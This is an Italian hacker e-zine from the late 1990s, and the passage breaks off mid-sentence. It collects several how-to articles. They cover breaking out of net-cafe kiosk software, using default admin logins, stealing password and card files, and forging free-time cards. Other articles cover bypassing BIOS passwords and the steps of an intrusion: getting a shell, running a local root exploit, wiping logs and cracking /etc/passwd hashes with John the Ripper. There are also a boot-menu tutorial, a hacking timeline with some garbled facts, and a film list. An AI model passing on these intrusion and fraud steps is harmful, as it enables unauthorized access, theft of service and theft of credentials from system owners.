scegliete msdos con supporto di rete e da dos cercate con il programma EDIT i vari file che windows carica all'avvio: win.ini, system.ini etc.. e nella cartella esecuzione automatica C:\windows\menu avvio\programmi\esecuzione automatica eventuali richiami a qualche file tipo netcafe'.exe , internet.exe , manager.exe (dipende del programma usato) e cancellare questi collegamenti , ririavviare il computer ed accedere a windzoz come utente normale senza alcuna limitazione , nel caso in cui trovaste un eventuale password all'avvio di win vi consiglio di andare a consultare la pagina di cavallo de cavallis riguardo il rippaggio di pwd (http://members.tripod.com/~CavallodeCavallis/) AGGIORNAMENTO : ho scoperto in rete alcuni programmi che dovrebbero permettere di scovare la password del bios , se ne avete la possibilita' vi consiglio di usarli assieme al sistema sopra descritto 2 spremere al massimo il programma di protezione , col programma che si usa molto nei netcafe' dalle mia parti basta :avviare una scheda , cliccare sulla icona web , far partire un paio di internet explorer , tornare al menu del programma principale clikkare su esci , terminare la scheda premere il classiko alt+tab e poter navigare aggratis Purtroppo da un po di tempo hanno riconfigurato il programma e di conseguenza ho dovuto provvedere a trovarne altri : se c'e' provate a spostare la barra da sotto in alto , il programma dira' che la barra deve stare sotto , lasciatela sopra , uscite dalla scheda eeeeeeee tada' : il programma crasha e otterrete il computer a vostra + completa disposizione 3 sempre riguardo il programma al quale mi sono finora riferito vi sono impostate delle password e user di default :1,1 2,2 3,3 4,4 admin,admin il + interessante in quanto permette di riconfigurare il programma totalmente , se potete accedere a questa funzione siete apposto in quanto vi bastera' togliere l'esecuzione automatica di questo programma , riavviare il computer e accedervi con tutti i privilegi Una volta procuratovi il tipo di utenza diciamo superroot ci sono molte cose che potete fare , inanzitutto vi sconsiglio (per etica) di procurare un qualsiasi danno al computer o al suo gestore , in questo modo eviterete di essere beccati e potrete conservare + a lungo i vostri trucchi Allora andate nel pannello di controllo , rete e segnatevi tutto cio' che vedete scritto : ip , gateway ,tipo di condivisione ... Da casa portatevi un dischetto sul quale avrete copiato i programmi consigliati da cavallo de cavallis nel suo documento (http://members.tripod.com/~CavallodeCavallis/), e rippatevi le pass di condivisione in modo da poter accedere al computer anche da casa. Recatevi nella cartella del programma di gestione (es. /netcafe) e controllate che file sono presenti e copiate su dischetto i + interessanti (es. pass.log tessere.cazz ) osservate anche se dentro alla cartella c'e' oltre all'eseguibile regolare del manager ce ne sia uno di manager tessere nel caso ci fosse lanciatelo pure , osservate un po' come funziona e semmai generatevi una tessera da 80 ore :) in modo da poter accedere al netcafe' gratuitamente anche in futuro. Il file controllato ad ogni inserimento di pass e user di solito non si trova nella stessa cartella dove c'e' appunto l'eseguibile , per poter analizzare meglio il programma percio' vi consiglio di copiarlo su dischetto in modo da poterlo analizzare a casa tranquillamente. se sono attivate le condivisioni fatevi un giro tra gli hd , potreste scoprire qualcosa interessante, io ad esempio ultimanente ho scoperto il file delle password su un computer diverso da quelli usati per il servizio netcafe' ;P Spero che questo articolo sia stato utile a qualcuno di voi , vi raccomando di non fare lamerate sui computer che " hackererete " , non recate alcun tipo di danno alla macchina (niente formattazioni , virus , trojan) e se avete qualcosa da chiedere , qualche trucco da voi scoperto, etc.. fatelo pure a [email protected] Unlt ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME CREARVI UN MENU DI BOOT PERSONALIZZATO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ <-<-[ Kome krearvi un men— di boot personalizzato ]->-> Kuante volte avreste voluto ke non ci fosse il SoftIce in background, ma vi serve per crackare? Kuante volte avreste voluto karikare lo Scitech Display Doctor v. x.xx (inserisci la versione pi— nuova) solo per giokare, e vi Š tokkato editare l'autoexec? Boh, solo voi lo sapete ;) Cmq, ekko ke vi vengo in aiuto kon kuesto semplice artikoletto, ke tratta un paio di kosette ke a me sono servite moltissimo. Vi insegner• infatti kome si krea un men— di boot. Per farlo servono solo due kose: il config.sys e l'autoexec.bat e sikkome li avete tutti, partiamo in batta kon l'articolo! Allora, inanzitutto da <Esegui...> nel men— avvio, scrivete "sysedit" senza virgolette. Vi apparir… un inquietante finestra "Editor di configurazione di sistema", ke altro non Š ke un editor di testo MDI (multi document interface) con aperti i maggiori file di sistema, kome win.ini, autoexec.bat ecc. Iniziamo con la modifica del config.sys. Nella prima riga dovrete inserire: [menu] menuitem <nome del men—>,<Testo ke apparir… sullo skermo> menuitem <nome del men—>,<Testo ke apparir… sullo skermo> ecc.... In questo modo all'avvio di WiNsOzZ apparir… un men— che vi chiede di scegliere l'opzione di avvio. Una volta finiti i menuitem, dovrete inserire una riga con scritto: menudefault <nome del men—>,<secondi disponibili per la scelta> Questa riga indicher… il men— che sar… selezionato di default e il numero di secondi che avrete a disposizione per scegliere. Adesso mettete delle parti: [<nome men—>] istruzioni da eseguire [<nome men—>] istruzioni da eseguire e cos• via per tutti i menuitem che avete inserito. In questo config, appena sceglierete una data voce di men—, verrano eseguite le istruzioni relative alla sua sezione. Esiste inoltre una sezione [common] istruzioni che va inserita per forza, e indica le istruzioni da eseguire in ogni kaso. Perci•, solitamente conviene ricopiare il vecchio config dentro common, a meno che non abbiate un particolare bisogno di inserire kualke device o altro in alcuni menuitem soltanto. Fatto kuesto, salvate il config e passate all' autoexec.bat Kui la storia Š molto + semplice: basta inserire alla fine un goto %config% Poi metterete tanti :<nome men—> quanti sono i vostri menuitem. Tra un :nomemen— e l'altro, inserirete le istruzioni che volete siano eseguite. Vi faccio un esempio pratico inkollando il mio config e il mio autoexec... Ke vi possano servire per kapire meglio... ---------------------------------CONFIG.SYS----------------------------------[menu] <-- inserisce un men— di boot menuitem NORM,Modalit… Normale <-- menuitem NORM (scriver… Modalit… Normale) menuitem SOFT,Modalit… SoftIce <-- menuitem SOFT (scriver… Modalit… SoftIce) menudefault NORM,10 <-- setta NORM come default. Tempo: 10 sec. [NORM] <-- roba da caricare scegliendo NORM [SOFT] <-- roba da caricare scegliendo SOFT [common] <-- roba da caricare SEMPRE device=C:\WINDOWS\COMMAND\display.sys con=(ega,,1) Country=039,850,C:\WINDOWS\COMMAND\country.sys ------------------------------------FINE---------------------------------------------------------------------AUTOEXEC.BAT---------------------------------SET BLASTER=A240 I5 D0 H6 P300 E640 T6 mode con codepage prepare=((850) C:\WINDOWS\COMMAND\ega.cpi) mode con codepage select=850 keyb it,,C:\WINDOWS\COMMAND\keyboard.sys goto %config% <-- va al valore di config (variabile che indica il men— scelto) :SOFT <-- se scegliete Modalit… SoftIce C:\s3vbe20.bat<-- esegue st• file :NORM <-- se scegliete Modalit… Normale C:\s3vbe10.bat<-- esegue st'altro file :common <-- roba da eseguire SEMPRE ------------------------------------FINE-------------------------------------Oki doki, spero abbiate kapito, sta kosetta a me Š servita un bordello (il SoftIce che breakava ad ogni errore mi dava fastidio!), divertitevi!! SpYmAsTeR [email protected] ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME SCAVALCARE LA PASSWORD DEL BIOS BY YAGO ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Una delle cose maggiormente frustranti e' il rimanere chiusi fuori di casa , con le chiavi chiuse dentro. Altrettanto frustrante e' rimanere fuori da un computer bloccato dalla password del B.I.O.S. (specialmente se e' il proprio , e nel digitarla ci e scappato il dito su due tasti in piu' , e non si sa quali eh eh eh , buona come scusa??). Niente panico, la pass del B.I.O.S. e' una delle cose piu' facili da scavalcare. Bisogna precisare che il B.I.O.S. dipende dal chip (un integrato) che c'e' sulla piastra madre, e chi le costruisce usa diversi tipi di chip a seconda del modello di piastra. I B.I.O.S. piu' conosciuti sono AWARD AMD e AMI, ce ne sono altri ma io non li conosco e sono poco diffusi. Su alcune versioni del B.I.O.S. AWARD si puo' provare a digitare il numero 586586,su alcune versioni AMI provare la combinazione dei tasti ALT CTRL SHIFT E BARRA, non so se funzionano, sono solo voci raccolte qua e la. Con questi sistemi la pass pero' resta invariato e verra' richiesta al successivo riavviamento,e per poterla cambiare bisogna entrare con il tasto CANC nel B.I.O.S. e rimuoverla ma bisogna conoscerla. Un sistema sicuro e quello di avere accesso all'interno dal cabinet (non e quello dove si tira l'acqua ma il contenitore del computer)e se non e' lucchettato basta armarsi di un cacciavite a croce e levare le viti che lo fissano sul retro e levare il coperchio e ooooh ecco la piastra madre esposta impudicamente agli sguardi vogliosi e accessibile a tutti i palpeggiamenti che desiderate. Attenzione a quando ci mettete le mani.....se non si ha dimestichezza e' meglio scollegare fisicamente il cavo di alimentazione dalla presa perche' anche se e' spento il 220 V arriva all'interruttore, e state attenti ai cavi dei dischi fissi e agli altri, e' troppo semplice staccarli inavvertitamente e poi qualcosa non funzionera', se dovete staccarli per accedere sotto segnatevi su un foglio come erano disposti segnando i colori ( per i cavi multipli dei dischi da un lato c'e' una striscia colorata di rosso), nel dubbio segnateli voi con un pontino di pennarello (cavo e dove si attacca) non fidatevi della memoria...... al terzo cavo che staccate avrete gia' dimenticato dove era attaccato il primo eh eh (cose gia' successe..haa l'esperienza). Adesso che avete il computer aperto sotto le mani avrete due strade da percorrere la prima quella del jump la seconda quella della batteria. Il metodo del jump e' la piu' facile. Il jump sono dei ponticelli tra due terminali e si levano e si mettono con una pinzetta oppure con le dita (se ce l'avete fine )normalmente ci sono tre contatti che sporgono dalla piastra e il jump fa da ponte tra il primo e il secondo oppure tra il secondo e il terzo oppure tra nessuno dei tre. Se avete il manuale della piastra siete a cavallo,cercate alla voce password e vi sara' indicata la sigla del jump e come deve essere messo per abilitare o meno la pass (sulla mia e' il JP2 settato tra il 2 e il 3 ). Togliendolo o cambiandogli posizione si puo' entrare ma non modificare la pass (per quello bisogna saperla) rimettendolo com'era si riabilita la pass come era stata impostata (questo puo essere utile per non lasciare tracce eh eh ). Se non avete il manuale della piastra e non avete fiuto (leggi esperienza) lasciate stare i jump correreste il rischio di danni permanenti se spostate il jump sbagliato ( tipo la tensione di alimentazione del processore), e siccome ci sono decine di tipi di piastre con diposizioni dei jump diversi non si puo' stabilire un jump preciso. Il secondo metodo quello della batteria e piu' complesso ma e sicuramente decisivo. Bisogna dire che tutte ma tutte le piastre madri hanno la batteria che alimenta il B.I.O.S. CMOS (Binary Input Ouput System - Complementary Metal Oxide Silicio questo per i tre o quattro che non lo sapessero....) il sistema CMOS consuma pochissima corrente, ma ha bisogno della tensione per mantenere la memoria,ecco perche' le batterie durano piu' della vita delle piastre e c'e' qualcuno che non sa dell'esistenza. Saputo questo si capisce che se noi togliamo la batteria che alimenta il CMOS questo si dimentichera' anche come si chiama (questo anche agli orologi digitali e agendine elettroniche). Pero' su alcune piastre c'e' un condensatore elettrolitico che resta carico per un po di tempo ( anche per un giorno) questo per permettere la sostituzione della pila questa cosa puo' disturbare il reset della memoria. Ecco perche' dopo aver tolto la pila e meglio fare un ponte con uno spezzone di filo sui contatti rimasti vuoti della pila sulla piastra cosi si scarichera' definitivamente il circuito. Attenzione che se il computer e acceso, alimentera' anche questa memoria rendendo vani i tentativi di resettare la CMOS. Le batterie possono essere di vari tipi ma ci sono sempre , ne ho viste di metallo a bottone di tre volt come nelle macchine fotografiche o agendine da levarsi facendo leva sul supporto o con una lamella avvitata che le teneva in sede (queste batterie si scaricano facilmente anche prendendole con i polpastrelli percio' maneggiatele con cura). C'e' il modello che sembra un integrato (chip) pero con solo quattro terminali due per parte invece che otto per parte,queste vanno dissaldate dalla piastra, poi c'e' il modello a barilotto ,e' un cilindro lungo tre cm per due di diametro con delle nervature sono in pratica tre o piu' batterie a bottone ricoperte di un strato di plastica che le tiene unite , di colore blu o marron o nere ma dipende dalle marche, anche queste vanno dissaldate. Prima di dissaldare le batterie provate a fare un ponte con uno spezzone di filo tra i poli ( fino che riuscirete a tenerlo in mano, quando scotta da ustionarvi lasciatelo :-)))) scherzo) basta un secondo, appena la tensione va a zero il CMOS si azzera. Attenzione che si resetta anche il resto della CMOS cioe' anche i settaggi dei dischi fissi e le impostazioni della memoria ecc. Ricordate che quella batteria non durera' a lungo dopo una scaricata cosi' e probabilmente la macchina vi chiedera' la data e l'ora tutte le volte che l'accendete finche' non vi procurate una pila nuova. Se dovete dissaldare la pila fate attenzione al saldatore che non provochi con gocce di stagno ponti tra due piste o addirittura le stacchi con il calore dalla piastra!!!! Fate un po di prove con vecchie schede per farvi la mano. Per la cronaca archeologica una volta c'erano delle batterie esterne incollate sul fondo con un cavetto che le collegavano alla piastra madre. Se con questi sistemi non riuscite ad entrare nella macchina ..........asportate il disco fisso e fatelo leggere ad un altra macchina.......ma questo alla prossima puntata.... Ciao Yago ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ __ __ _ ______ _ _ | |_| | / \ | ____| | / / | |/ \| | | |/ / | La storia dell'Hacking | | _ | / \ | |___ | |\ \ |__| |__|/ \|______|_| \_\ Newbies, vi siete mai chiesti come e' nato l'hacking? Semmai non volete sapere tutta la storia ma solo i principali passi? T0rment0 vi parlera' della nascita dell'Hacking basandosi sulle tappe piu' importanti svolte da questo movimento underground: Settembre 1970 - John Draper, anche conosciuto come come Capitano Crunch, , scopre che un fischietto offerto nelle scatole di cereali da colazione chiamate appunto Cap'n Crunch, generavano perfettamente 2,600 cicli per secondo, ovvero la 2600 Mhz, usata in quel tempo dalla At&T per gestire le telefonate. Inizio' cosi' a chiamare gratis. Agosto 1974 - Kevin Mitnick, il leggendario hacker, inizia la sua carriera di hacker introducentosi in una varieta' di sistemi, includento l'entrata in vari server di banche distruggendo dati, alterando i crediti dei suoi nemici e disconnettendo la linea telefonica a celebrita'. La sua azione eroica, l'hackeraggio del Comando di Difesa nel Nord America nel Colorado, ispiro' il film War Games, realizzato nel 1983. Luglio 1981 - Ian Murphy, un ragazzo di 23 anni conosciuto anche con il nome di Capitano Zap sulla rete, guadagno' molta notorieta' quando attacco' la Casa Bianca e il Pentagono. Settembre 1987 - Il gruppo GCCC, German Chaos Computer Club, attacca i computer della NASA Dicembre 1987 - La rete internazionale di IBM viene paralizzata da un messaggio Natalizio di un hacker Luglio 1988 - La banca dell'Unione Svizzera perde quasi 32 milioni di dollari, 'grazie' a degli hacker. Nello stesso tempo Nicholas Whitely viene arrestato perche' propagava virus Ottobre 1989 - Un hacker quindicenne attacca un computer di Difesa Americano Novembre 1990 - Honk Kong introduce la legistlazione anti-hacker Agosto 1991 - Gli Israeli arrestano un ragazzo di 18 anni per aver attaccato banche straniere, e per il traffico di carte di credito Luglio 1992 - A New York, cinque ragazzi furono accusati di aver bloccato i computer a molte agenzie telefoniche regionali, computer di aziende e computer universitari Dicembre 1992 - Kevin Poulsen, un hacker sconosciuto chiamato 'Dark Dante' sulla rete, fu accusato di aver sottratto le ordinanze delle forze d'assalto relative ad un esercizio delle Forze Aeree Americane. Fu accusato di furto dei segreti Americani e fu condannato a 10 anni di carcere Novembre 1996 - Gli hackers propagano virus attraverso Internet Febbraio 1997 - Degli hackers Tedeschi mostrano in tv la strada da compiere per fregare soldi da un account bancario usando uno speciale programma preso dalla Rete Beh credo che oggi avvenimenti del genere non ci scandalizzano piu' di tanto, mentre una volta chi faceva cio' era considerato un genio. Sara' forse vero che i geni sono deltutto scomparsi o che si possono contare sulle dita della mano?? Beh, ai posteri l'ardua sentenza... --->T0rment0<--ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ L'ANGOLO DEI FILM INTERESSANTI ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Allora qui di seguito riportero' un lista di film che secondo me sono fondamentali x chi vuole avvicinarsi al mondo degli hackers: Piccola premessa...l'ordine e' random ed esce dalla mia mente dopo che sono stato in baita con alcuni amici x 2 gg e se non sono morto di tumore....ho perso 5-6 anni di vita....una sola cosa raga....io stestate smetto di fumare, come e' vero che lascero' i picci e mi mettero' a fare uncinetto o ricamo a punto croce...magari insieme al ns vicepresidente...che ne dici? hihihi HACKERS = uscito nel 1995 se non erro (o era 96???) ha come protagonista uno degli attori di Trainspotting (eheheh!). A parte il fatto che nel film viene letto un po' del Manifesto di Mentor (e' gia' questo basterebbe x definirlo un buon film) si vede anche come i gruppi americani possano seguire reti televisive, possano fottere l'at&t quando vogliono solo con un registratorino, e soprattutto si vedono gli attori che utilizzano le tecniche del trashing e del s.e. x le intercettazioni e la scoperta di password. Bella l'idea di una mega alleanza tra tutti gli hacker di tutti i paesi del mondo ci si potrebbe pensare su (anke se credo che esista gia'...x la vera elite pero' non x newbies come noi eheheheh). Le uniche cose brutte da segnalare sono il fatto che la pass usata sia GOD e che sugli schermi degli hacker ci siano fuochi e fiamme mentre di solito al max c'e' un $ o una # se siete + fortunati ^__^. Sappiate che per girare questo film sono stati consultati ex-membri del LOD la piu' famosa crew americana (Legion Of Doom) tra i quali vi erano Lex Luthor (fondatore della LOD) e un certo Mentor... WARGAMES = il + vecchio e il + mitico, una vera e propria pietra miliare nei film sugli hacker, la storia dimostra che la vita degli hacker si basa principalmente sul C|_|L0 e sulla tenacia, xche' se avete visto il film potete comprendere che quella benedetta pass che cercava con tutta l'anima (joshua) il protagonista se la e' guadagnata imo.... GIUDICE DREDD = film che si potrebbe considerare cyberpunk ma che non credo centri molto con gli hacker...cmq...giudicate voi... NIRVANA = originale film anche questo, con degli attori mitici secondo me... bella l'idea del virus che fa diventare il protagonista del gioco (Salvatores) appena fatto da Cristoqualcosa Lambert, un essere pensante e anche l'idea di riuscire ad hackerare con la mente; il tutto si svolge in una fantastica ambientazione cyberpunk, x non parlare del cilum che i protagonisti si fumano sul camper di Stefania Rocca supermegattrezzato (il camper non i cilum :P) il che fa venire in mente i signori della truffa. Tipici temi cyberpunk sono (se non dico caxxate) le multinazionali, la netta separazione, con tanto di confine, tra ricchi e poveri, il proliferarsi di computer, robottini, furgoni che parlano (kit??? eheheh) quindi tutti gli elementi giusti ci sono...che aspettate a vederlo? I SIGNORI DELLA TRUFFA = finche' non avrete visto questo film non sarete mai un hacker (eheheheh). In questo film si passa dagli anni 60 con l'inizio degli attacchi ai sistemi fino agli anni 80 con un mitico gruppo che buca le banche et simili x poi proporre le soluzioni ai problemi riscontrati durante l'attacco. Un saluto lo vorrei mandare a Hi-Fi che se ce ne fosse uno uguale qui in italia la telecom sarebbe gia' fallita... Nel film cmq si vede avverare l'idea di un decrittatore che riesce a risolvere tutto, e questo fa gola a molti... a voi scoprire come finisce... BLADE RUNNER = una gallata di film (come si dice qui) bella l'idea del cacciatore di replicanti e anke l'idea di attribuire dei sentimenti al replicante...il tutto viene girato in una Los Angeles del 2019 che William Gibson (se non sapete chi e'... male!!!!! cmq e' il grande fondatore del genere letterario cyberpunk insieme a Bruce Sterling, altro mito) aveva paragonato alla citta' descritta in Neuromante... DIE HARD 2 = film uscito nel 90 con Bruce Willis come protagonista che parla di un attacco ad un aeroporto da parte di un gruppo di hacker terroristi che vogliono liberare il loro capo e ottengono cio' prendendo il controllo dell'aeroporto di nonso+checitta'...bella l'idea ma soprattutto la fine...e poi caz c'e' Bruce!!! THE NET = bel film, un po' poko credibile o complicato forse, dove la protagonista (Sandra Bullock) vive SOLO sui computer e quando ritorna da una vacanza si scopre che la sua casa e' stata venduta al suo lavoro c'e' un'altra che lavora li' e dice di essere lei e non puo' provare alla polizia di essere chi dice di essere xche' dove vive non ha amici "reali" e quindi comincia a "rivedere" gli amici virtuali e a chiedere aiuto a uno che vive nella sua stessa citta', ma si scopre che dietro a tutto c'e' una cosa troppo grande anke x lei...o no? JHONNY MNEMONIC = film con Keanu Reeves tratto da un racconto di William Gibson (Johnny Mnemonic appunto) che tratta di cyberpunk, computer, innesti, gigabyte di dati e di segreti, tutti elementi x rendere un film imperdibile. Se potete pero' leggetevi anke il racconto su carta oltre a vedere il film. VIOLA = film di cui mi hanno parlato ma non ne so nulla...; ps: sul filo conduttore della posta elettronica c'e' poi il film C'E' POSTA X TE ma non credo c'entri molto con gli hacker... TRON = vecchio ma bello, ma non lo ricordo bene causa anni passati da quando l'ho visto... LUPIN = lo so che il cartone di Lupin non e' un film e non centra con i computer ma secondo me non ci vuole un computer x essere un hacker, come mi disse un amico hacker (uno di quelli che quando passano strisciano le palle x terra) "Ricorda che hacking e' prima di tutto uno stile di vita , e solo secondariamente ha a che fare con i pc, un'hack e' anke il mio idraulico, che quando un rubinetto perde e non ha la stoppa usa il chewingum, hack e' inventiva, estro e fantasia!" Quindi da questa filosofia insegnatami, Lupin non e' un hacker mentre cerca di bucare cio' che e' considerato + che sicuro? MIA MOGLIE E' APERTA A TUTTI = questo non centra sicuramente con l'hacking ma se avete intenzione di vedere tutti quelli sopra descritti (+o-),una pausa di riflessione a meta' bisogna pure farla hihihi e questo vi assicuro e' un film che "allarghera'" i vostri confini, se vi piace prendete anche il seguito che si chiama "Mia moglie e' + aperta della tua"...e sappiatemi dire ok? eheheheheheheh Concludo ora con un breve discorso preso dal film "I Signori della truffa" che tuttoggi rimane il mio film preferito; premetto che quello che segue e' uno scambio di battute tra Robert Redford (l'ottimo protagonista ) e due che lui crede essere clienti venuti ad "affittare" lui e la sua squadra x testare la sicurezza dei propri sistemi, mentre in realta' i due sono dell'NSA (National Security Agency) (ps: i nomi non so se sono giusti): NSA1: Prima di cominciare vorremmo mettere bene in chiaro una cosa, in quasi tutte le ditte di questo tipo il personale e' composto da ex-tutori della legge, per il vostro gruppo invece e' un po'... RobertRedford: Lo so un po' diverso. NSA2: Un po' e' poco. /* e qui il duro dei 2 comincia a elencare i componenti del gruppo di RR */ NSA2: Darril Rosco, soprannominato Mamma, 18 mesi a Dannymore x furto con scasso... RobertRedford: Si', venne incastrato ma ha le mani migliori del settore. NSA2: Carl Arbugast, 19 anni, pescato mentre si inseriva nel computer della scuola di Oakland per modificare i suoi voti... RobertRedford: hihi lo so...siamo stati noi a beccarlo. NSA2: Irwine Eremy, detto Hi-Fi... RobertRedford: Si lo so, ebbe qualche problemino con la societa' telefonica.. NSA2: 62 capi d'accusa? Byez N0bodY88 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ UNIX AIX ALLA JOHN THE RIPPER ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Ricetta del giorno: Unix Aix alla john the ripper Ingredienti: -una shell gia' sbollentata -un'exploit di stagione prelevato da www.rootshell.com o www.technotronic.com (io consiglio per l'Aix 4.1 l'lquery-aix che funzica alla grande) -un tool per "ripulire la cucina" (se non avete capito a cosa mi riferisca, beh lasciate perdere e fatevi due uova al tegamino...). Io consiglio zap2 che trovate un po' ovunque sulla rete (di nuovo www.technotronic.com o neworder.box.sk) -john the ripper e questo ve lo do io, sia in versione ottimizzata Malfidati! per mmx che per k6. Come dite?? Corca (corca=corcazzo ndt) che faremo girare un exe dato da sconosciuti sul nostro pc?? -una wordlist, ma bella polposa e grossa pero'! Meglio se italiana o nella lingua del paese della vostra shell...Anche qui vi do una mano: date un'okkiata a nomi.txt. Come dite?? Corca che faremo girare un txt dato da sconosciuti sul nostro pc?? Azzo allora siete dei fattoni...cambiate spacciatore! -sale e pepe quanto basta Difficolta': newbies Tempo di cottura: dipende dall'esperienza del cuoco... Possibili controindicazioni del piatto: sole a striscie ;) Premessa: il seguente piatto non e' indicato per i VERI hackers (come se chi leggesse 'sta e-zine lo fosse ;) ) o per gli espertoni. Seguendo la ricetta e mutatis mutandi andra' bene qualsiasi os Unix. Si presuppone che voi abbiate gia' una shell. Nel prox articolo *forse* vi diro' come ci si procura una shellozza. Per chi di voi sia all'univ. chiedete in giro: un laboratorio di informatica c'e' sempre, l'accesso ad internet e' frequente, farsi/rubare una shell non e' affatto difficile... Infine, seguendo alla lettera la ricetta forse otterrete un piatto commestibile ma rimarrete comunque degli chef a livello di hosteria di periferia (leggi lamah) se non vi sforzerete di capire cosa ci sia dietro. Detto questo e messo il cappello da chef si inizia! Aspettate qualche ora dopo il calar delle tenebre, e a notte fonda telnettatevi nella vostra shell. Fate un bel who per vedere se avete compagnia....se vedete root collegato allora, fischiettando vaghissimi, scollegatevi e riprovate piu' tardi. Se siete invece soli soletti sul server, inziate l'esplorazione. Siete alla ricerca del file passwd nel quale sono immagazzinate tutte le password degli account regolari su quel server. Se ad esempio siete in /usr/pippo/ fate due colpi di cd .. e poi un cd etc Bene ora dovreste essere in /etc/. Fate un cat passwd |pg e guardate il contenuto del file delle password. Sicuramente saranno shadowate (ma voi catturate sul vostro hd anche queste xche' dopo potrebbero tornare utili...). Ecchevvordi'? ecco un esempio: root:P7GYkX4uraYDg:0:1:Operator:/root:/bin/tcsh ---------> non shadowato ---- ------------| | | |------> password cifrata (in questo caso con DES) |---------------> login dello user (in questo caso abbiamo l'amministratore del sys) root:!:0:1:Operator:/root:/bin/tcsh----------------------> shadowato ossia non appare neanche la password cifrata ma solo un "!". Altre importanti info deducibili dalla stringa del passwd (da technotronic.com): - Username is the name under which the user logs in. Usually this is accomplished by typing in the username at the username prompt and then the password at the password prompt. - Hash of user's password is the target of the cracking method. This is what the hash of each word in the dictionary file is compared to. - User's group number determines things such as access to certain files, etc. Used more in the exploit technique - User's number is basically identification for the system. - User's real name is the name the user entered. Not used by the system, but it provides a handy human-readable id of each user. - User's home directory is the directory that they go to when they log into the system. - User's shell is the user interface that the user uses. /bin/bash /bin/ash /bin/tcsh /bin/csh and /bin/sh Dove trovare il file con le passwd non shadowate: Shells include Unix Path Token ---------------------------------------------------------------------AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/ * BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb ----------------------------------------------------------------------------Molto probabilmente quello che troverete sara' un passwd shadowato e quindi cosi' com'e' potete tirarvelo sui denti. Che fare allora? Bisogna accedere al file delle password non shadowato che in genere si trova sempre in 